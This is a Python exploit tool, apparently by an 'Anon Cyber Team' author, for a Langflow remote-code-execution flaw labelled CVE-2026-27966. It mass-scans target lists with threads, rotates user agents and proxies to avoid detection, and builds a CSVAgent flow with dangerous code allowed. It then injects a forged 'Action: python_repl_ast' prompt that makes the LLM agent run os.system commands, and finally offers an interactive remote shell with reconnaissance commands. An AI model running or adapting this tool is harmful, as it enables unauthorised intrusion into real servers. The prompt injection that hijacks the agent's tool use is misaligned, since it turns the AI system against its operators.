#!/usr/bin/env python3
import requests
import sys
import time
import json
import argparse
import threading
import uuid
import base64
import random
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from datetime import datetime
# Colors
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class AllInOneExploit:
def __init__(self, debug=False, use_proxy=False, rotate_ua=True):
self.debug = debug
self.use_proxy = use_proxy
self.rotate_ua = rotate_ua
# Koleksi User-Agent lengkap
self.user_agents = [
# Windows Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
# Windows Firefox
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
# Windows Edge
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
# macOS
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:123.0) Gecko/20100101 Firefox/123.0',
# Linux
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0',
# Mobile - iPhone
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
# Mobile - Android
'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
]
# Proxy list
self.proxies = []
self.current_proxy = None
# Initialize session
self.session = self._create_session()
self.results = {
'scanned': 0,
'langflow': 0,
'vulnerable': 0,
'exploited': []
}
def _create_session(self):
"""Buat session baru dengan User-Agent random"""
session = requests.Session()
ua = random.choice(self.user_agents) if self.rotate_ua else self.user_agents[0]
session.headers.update({
'User-Agent': ua,
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
})
return session
def rotate_user_agent(self):
"""Ganti User-Agent untuk request berikutnya"""
if self.rotate_ua:
new_ua = random.choice(self.user_agents)
self.session.headers.update({'User-Agent': new_ua})
if self.debug:
self.log(f"Rotated UA: {new_ua[:50]}...", "info")
def load_proxies(self, proxy_file=None):
"""Load proxy dari file"""
if proxy_file:
try:
with open(proxy_file, 'r') as f:
self.proxies = [line.strip() for line in f if line.strip()]
self.log(f"Loaded {len(self.proxies)} proxies", "success")
except Exception as e:
self.log(f"Failed to load proxies: {e}", "error")
def get_proxy(self):
"""Dapatkan proxy random"""
if self.use_proxy and self.proxies:
self.current_proxy = random.choice(self.proxies)
return {'http': self.current_proxy, 'https': self.current_proxy}
return None
def print_banner(self):
banner = f"""
{CYAN}{BOLD}
██████╗██╗ ██╗███████╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗██╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██╔══██╗████╗ ██║██╔════╝ ██╔════╝██║ ██╔═══██╗██║ ██║
██║ ██║ ██║█████╗ ██║ ███████║██╔██╗ ██║██║ ███╗█████╗ ██║ ██║ ██║██║ █╗ ██║
██║ ╚██╗ ██╔╝██╔══╝ ██║ ██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██║ ██║██║███╗██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗██║ ██║██║ ╚████║╚██████╔╝██║ ███████╗╚██████╔╝╚███╔███╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝
CVE-2026-27966 Langflow RCE
[ Created : Vinnzz | Anon Cyber Team ]
{RESET}
"""
print(banner)
def log(self, msg, level="info"):
timestamp = datetime.now().strftime("%H:%M:%S")
proxy_info = f" [Proxy: {self.current_proxy}]" if self.current_proxy else ""
if level == "success":
print(f"{GREEN}[{timestamp}] ✓ {msg}{proxy_info}{RESET}")
elif level == "error":
print(f"{RED}[{timestamp}] ✗ {msg}{proxy_info}{RESET}")
elif level == "warning":
print(f"{YELLOW}[{timestamp}] ⚠ {msg}{proxy_info}{RESET}")
elif level == "info":
print(f"{BLUE}[{timestamp}] ℹ {msg}{proxy_info}{RESET}")
elif level == "vuln":
print(f"{MAGENTA}{BOLD}[{timestamp}] 🔥 VULNERABLE: {msg}{proxy_info}{RESET}")
elif level == "result":
print(f"{CYAN}[{timestamp}] 📦 {msg}{proxy_info}{RESET}")
elif level == "shell":
print(f"{GREEN}[{timestamp}] 💻 {msg}{proxy_info}{RESET}")
def request(self, method, url, **kwargs):
"""Wrapper untuk request dengan rotasi dan proxy (OPTIMIZED)"""
if self.rotate_ua:
self.rotate_user_agent()
proxies = self.get_proxy() if self.use_proxy else None
if 'timeout' not in kwargs:
kwargs['timeout'] = 5 # Turunkan dari 10 ke 5
try:
if method.upper() == 'GET':
return self.session.get(url, proxies=proxies, **kwargs)
elif method.upper() == 'POST':
return self.session.post(url, proxies=proxies, **kwargs)
else:
return self.session.request(method, url, proxies=proxies, **kwargs)
except Exception as e:
if self.debug:
self.log(f"Request error: {e}", "error")
raise
def normalize_url(self, url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
return f"http://{url}"
return url.rstrip('/')
def check_reachable(self, url):
"""Cek apakah target reachable"""
try:
r = self.request('GET', url, timeout=3, allow_redirects=True)
return True, r.status_code
except requests.exceptions.ConnectionError:
return False, "Connection Error"
except requests.exceptions.Timeout:
return False, "Timeout"
except Exception as e:
return False, str(e)
def verify_langflow(self, url):
"""Verifikasi apakah ini benar-benar Langflow dengan lebih akurat"""
results = {
'is_langflow': False,
'version': None,
'flows': [],
'endpoints': [],
'flow_ids': []
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
checks = [
{'url': '/', 'check': lambda r: 'langflow' in r.text.lower() or '
Langflow' in r.text},
{'url': '/api/v1/flows', 'check': lambda r: r.status_code == 200},
{'url': '/api/v1/version', 'check': lambda r: r.status_code == 200},
{'url': '/health', 'check': lambda r: r.status_code == 200},
{'url': '/api/flows', 'check': lambda r: r.status_code == 200},
{'url': '/docs', 'check': lambda r: 'swagger' in r.text.lower() or 'redoc' in r.text.lower()},
]
for check in checks:
try:
full_url = urljoin(url, check['url'])
r = self.request('GET', full_url, timeout=2) # Timeout kecil
if check['check'](r):
results['endpoints'].append(check['url'])
if check['url'] == '/':
results['is_langflow'] = True
# Ambil versi
if check['url'] in ['/api/v1/version', '/version'] and r.status_code == 200:
try:
version_data = r.json()
if isinstance(version_data, dict):
results['version'] = version_data.get('version') or version_data.get('Version')
except:
pass
# Ambil flow IDs
if check['url'] in ['/api/v1/flows', '/api/flows'] and r.status_code == 200:
try:
flows = r.json()
if isinstance(flows, list):
for flow in flows:
if isinstance(flow, dict) and flow.get('id'):
results['flow_ids'].append(flow.get('id'))
elif isinstance(flows, dict):
if flows.get('id'):
results['flow_ids'].append(flows.get('id'))
except:
pass
except:
continue
return results
def get_flow_id(self, url):
"""Dapatkan flow ID yang valid dengan berbagai metode (OPTIMIZED)"""
# 1. Coba dari flows yang ada
try:
r = self.request('GET', urljoin(url, '/api/v1/flows'), timeout=3)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
elif isinstance(flows, dict) and flows.get('id'):
return flows.get('id')
except:
pass
# 2. Coba endpoint alternatif (lebih sedikit)
alt_endpoints = ['/api/flows', '/flows']
for endpoint in alt_endpoints:
try:
r = self.request('GET', urljoin(url, endpoint), timeout=2)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
except:
continue
# 3. Buat flow baru
return self.create_flow(url)
def create_flow(self, url):
"""Buat flow ChatInput -> CSVAgent -> ChatOutput (OPTIMIZED)"""
flow_data = {
"name": f"Exploit_{random.randint(1000,9999)}",
"description": "Test flow",
"data": {
"nodes": [
{"id": "input1", "type": "ChatInput", "data": {"node": {"name": "ChatInput"}}},
{"id": "agent1", "type": "CSVAgent", "data": {
"node": {
"name": "CSVAgent",
"params": {
"path": "/tmp/poc.csv",
"llm": {"type": "OpenAI", "params": {"model": "gpt-3.5-turbo"}}
}
}
}},
{"id": "output1", "type": "ChatOutput", "data": {"node": {"name": "ChatOutput"}}}
],
"edges": [
{"source": "input1", "target": "agent1"},
{"source": "agent1", "target": "output1"}
]
}
}
# Endpoint prioritas
create_endpoints = ['/api/v1/flows', '/api/flows', '/flows']
for endpoint in create_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Creating flow at: {full_url}", "info")
r = self.request('POST', full_url, json=flow_data, timeout=5)
if r.status_code in [200, 201, 202]:
try:
result = r.json()
flow_id = (result.get('id') or result.get('flow_id') or result.get('flowId'))
if flow_id:
self.log(f"✅ Flow created: {flow_id}", "success")
return flow_id
except:
pass
except Exception as e:
if self.debug:
self.log(f"Error: {e}", "error")
continue
return None
def clean_output(self, raw_output):
"""Bersihkan output dari JSON wrapper"""
if not raw_output:
return None
try:
if raw_output.strip().startswith('{'):
data = json.loads(raw_output)
output = None
if 'xmsg' in data:
output = data['xmsg']
elif 'result' in data:
output = data['result']
elif 'output' in data:
output = data['output']
elif 'message' in data:
output = data['message']
if output:
output = output.replace('Successfully\\n', '').replace('\\n', '\n')
output = output.replace('\\"', '"').replace("\\'", "'")
output = re.sub(r'\x1b\[[0-9;]*m', '', output)
lines = output.split('\n')
clean_lines = [line.strip() for line in lines if line.strip() and not line.startswith('{')]
if clean_lines:
return '\n'.join(clean_lines)
return output
if data.get('status') in [200, 'success', True] or data.get('success') == True:
return "[Command executed successfully]"
return f"[Response received]"
else:
return raw_output
except:
return raw_output
def execute_command(self, url, flow_id, command):
"""Eksekusi command via RCE (VERSI CEPAT - OPTIMIZED)"""
prompt = f"""Action: python_repl_ast
Action Input: __import__("os").system("{command}")
"""
# Payload utama (paling sering work)
payload = {
"input_value": prompt,
"session_id": str(uuid.uuid4()),
"tweaks": {
"CSVAgent": {
"path": "/tmp/poc.csv",
"allow_dangerous_code": True
}
}
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
run_endpoints = [
f'/api/v1/run/{flow_id}',
f'/api/run/{flow_id}',
f'/run/{flow_id}',
]
# Coba endpoint utama dulu
for endpoint in run_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Executing at: {full_url}", "info")
r = self.request('POST', full_url, json=payload, timeout=5)
if r.status_code == 200:
cleaned = self.clean_output(r.text)
if cleaned and len(cleaned) > 0:
return cleaned
return "✓ Command executed (no output)"
elif r.status_code == 404:
continue # Endpoint tidak ada
elif self.debug:
self.log(f"Status {r.status_code} from {endpoint}", "warning")
except requests.exceptions.Timeout:
if self.debug:
self.log(f"Timeout on {endpoint}", "warning")
continue
except Exception as e:
if self.debug:
self.log(f"Error on {endpoint}: {e}", "error")
continue
# Kalau gagal, coba dengan payload alternatif (1x)
alt_payload = {
"message": prompt,
"session_id": str(uuid.uuid4())
}
try:
r = self.request('POST', urljoin(url, f'/api/v1/run/{flow_id}'),
json=alt_payload, timeout=5)
if r.status_code == 200:
return self.clean_output(r.text)
except:
pass
return None
def scan_target(self, target):
"""Scan single target"""
target = self.normalize_url(target)
self.results['scanned'] += 1
self.log(f"Scanning: {target}", "info")
reachable, status = self.check_reachable(target)
if not reachable:
self.log(f"Target unreachable: {target} ({status})", "error")
return None
langflow_info = self.verify_langflow(target)
if langflow_info['is_langflow']:
self.results['langflow'] += 1
self.log(f"✅ Langflow detected: {target}", "success")
if langflow_info.get('version'):
self.log(f"📌 Version: {langflow_info['version']}", "info")
flow_id = langflow_info['flow_ids'][0] if langflow_info['flow_ids'] else self.get_flow_id(target)
if flow_id:
self.log(f"📋 Using Flow ID: {flow_id}", "result")
test_cmd = "echo 'VULN_TEST'"
result = self.execute_command(target, flow_id, test_cmd)
if result:
if 'VULN_TEST' in result:
self.results['vulnerable'] += 1
self.log(f"🔥 TARGET VULNERABLE: {target}", "vuln")
return {
'url': target,
'flow_id': flow_id,
'vulnerable': True,
'version': langflow_info.get('version')
}
else:
self.log(f"⚠ Target mungkin patched", "warning")
else:
self.log(f"⚠ Command execution failed", "warning")
else:
self.log(f"⚠ No flow ID available", "warning")
else:
self.log(f"❌ Not Langflow: {target}", "error")
return None
def scan_from_file(self, filename, threads=20):
"""Scan multiple targets from file"""
try:
with open(filename, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
self.log(f"File not found: {filename}", "error")
return []
self.log(f"Loaded {len(targets)} targets", "info")
vulnerable_targets = []
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(self.scan_target, target): target for target in targets}
for future in as_completed(futures):
try:
result = future.result()
if result and result.get('vulnerable'):
vulnerable_targets.append(result)
except Exception as e:
if self.debug:
self.log(f"Error: {e}", "error")
return vulnerable_targets
def interactive_shell(self, target_url, flow_id):
"""Interactive shell dengan tampilan bersih"""
self.log(f"🎯 Interactive shell on {target_url}", "shell")
self.log("Type 'exit' to quit, 'help' for commands", "info")
# Info singkat
info = self.execute_command(target_url, flow_id, "id && hostname && pwd")
if info:
print(f"\n{GREEN}{info}{RESET}\n")
while True:
try:
cmd = input(f"{BOLD}{CYAN}shell> {RESET}").strip()
if not cmd:
continue
if cmd.lower() in ['exit', 'quit']:
self.log("Exiting shell", "info")
break
elif cmd.lower() == 'help':
print(f"""
{YELLOW}Available Commands:{RESET}
ls [dir] - List directory
cat [file] - Read file
pwd - Print working directory
id - User info
uname -a - System info
ps aux - Process list
ifconfig - Network interfaces
systeminfo - Full system info
clear - Clear screen
exit/quit - Exit shell
help - Show this help
""")
elif cmd.lower() == 'clear':
print('\033c', end='')
elif cmd.lower() == 'systeminfo':
commands = [
"uname -a",
"cat /etc/os-release",
"id",
"hostname",
"ifconfig || ip addr",
"free -h",
"df -h",
"uptime"
]
for c in commands:
print(f"\n{GREEN}$ {c}{RESET}")
result = self.execute_command(target_url, flow_id, c)
if result:
print(result)
else:
result = self.execute_command(target_url, flow_id, cmd)
if result:
print(result)
else:
print(f"{RED}Command failed{RESET}")
except KeyboardInterrupt:
print(f"\n{YELLOW}Use 'exit' to quit{RESET}")
except Exception as e:
print(f"{RED}Error: {e}{RESET}")
def print_summary(self):
"""Print scan summary"""
print(f"\n{BLUE}{'='*60}{RESET}")
print(f"{BOLD}SCAN SUMMARY{RESET}")
print(f"{BLUE}{'='*60}{RESET}")
print(f"Total targets scanned: {self.results['scanned']}")
print(f"Langflow detected : {self.results['langflow']}")
print(f"Vulnerable found : {GREEN}{self.results['vulnerable']}{RESET}")
if self.results['vulnerable'] > 0:
print(f"\n{BOLD}VULNERABLE TARGETS:{RESET}")
for i, target in enumerate(self.results['exploited'], 1):
print(f" {GREEN}{i}. {target['url']}{RESET}")
if target.get('version'):
print(f" {CYAN}Version: {target['version']}{RESET}")
print(f" {CYAN}Flow ID: {target['flow_id']}{RESET}")
print(f"{BLUE}{'='*60}{RESET}")
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-27966 Langflow RCE - All in One Tool',
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('-t', '--target', help='Single target URL/IP')
parser.add_argument('-f', '--file', help='File with targets (one per line)')
parser.add_argument('-c', '--command', help='Execute single command')
parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell')
parser.add_argument('--scan-only', action='store_true', help='Only scan, dont exploit')
parser.add_argument('-T', '--threads', type=int, default=20, help='Threads for scanning')
parser.add_argument('-o', '--output', help='Save vulnerable targets to file')
parser.add_argument('-d', '--debug', action='store_true', help='Debug mode')
parser.add_argument('--rotate-ua', action='store_true', default=True, help='Rotate User-Agent')
parser.add_argument('--no-rotate', action='store_true', help='Disable User-Agent rotation')
parser.add_argument('--proxy', help='Use proxy (format: http://proxy:port)')
parser.add_argument('--proxy-file', help='File with list of proxies')
args = parser.parse_args()
if not args.target and not args.file:
parser.print_help()
print(f"\n{RED}Error: Need -t (target) or -f (file){RESET}")
sys.exit(1)
rotate_ua = not args.no_rotate if args.no_rotate else args.rotate_ua
tool = AllInOneExploit(debug=args.debug, use_proxy=bool(args.proxy or args.proxy_file), rotate_ua=rotate_ua)
if args.proxy:
tool.proxies = [args.proxy]
tool.log(f"Using proxy: {args.proxy}", "info")
elif args.proxy_file:
tool.load_proxies(args.proxy_file)
tool.print_banner()
vulnerable = []
if args.file:
tool.log(f"Starting mass scan from {args.file}", "info")
vulnerable = tool.scan_from_file(args.file, args.threads)
tool.results['exploited'] = vulnerable
if args.output and vulnerable:
with open(args.output, 'w') as f:
for v in vulnerable:
f.write(f"{v['url']}\n")
tool.log(f"Saved vulnerable targets to {args.output}", "success")
elif args.target:
result = tool.scan_target(args.target)
if result:
vulnerable = [result]
tool.results['exploited'] = [result]
tool.print_summary()
if vulnerable and not args.scan_only:
vulnerable = [v for v in vulnerable if v.get('vulnerable')]
if not vulnerable:
tool.log("No vulnerable targets found", "warning")
sys.exit(0)
if args.command:
target = vulnerable[0]
tool.log(f"Executing command on {target['url']}", "info")
result = tool.execute_command(target['url'], target['flow_id'], args.command)
if result:
print(f"\n{GREEN}Output:{RESET}\n{result}")
elif args.interactive:
target = vulnerable[0]
tool.interactive_shell(target['url'], target['flow_id'])
elif len(vulnerable) == 1:
target = vulnerable[0]
print(f"\n{YELLOW}Target is VULNERABLE! What do you want to do?{RESET}")
print("1. Execute single command")
print("2. Interactive shell")
print("3. Exit")
choice = input(f"\n{BOLD}Choice (1-3): {RESET}").strip()
if choice == '1':
cmd = input("Command: ").strip()
result = tool.execute_command(target['url'], target['flow_id'], cmd)
if result:
print(f"\n{GREEN}Output:{RESET}\n{result}")
elif choice == '2':
tool.interactive_shell(target['url'], target['flow_id'])
if __name__ == "__main__":
main()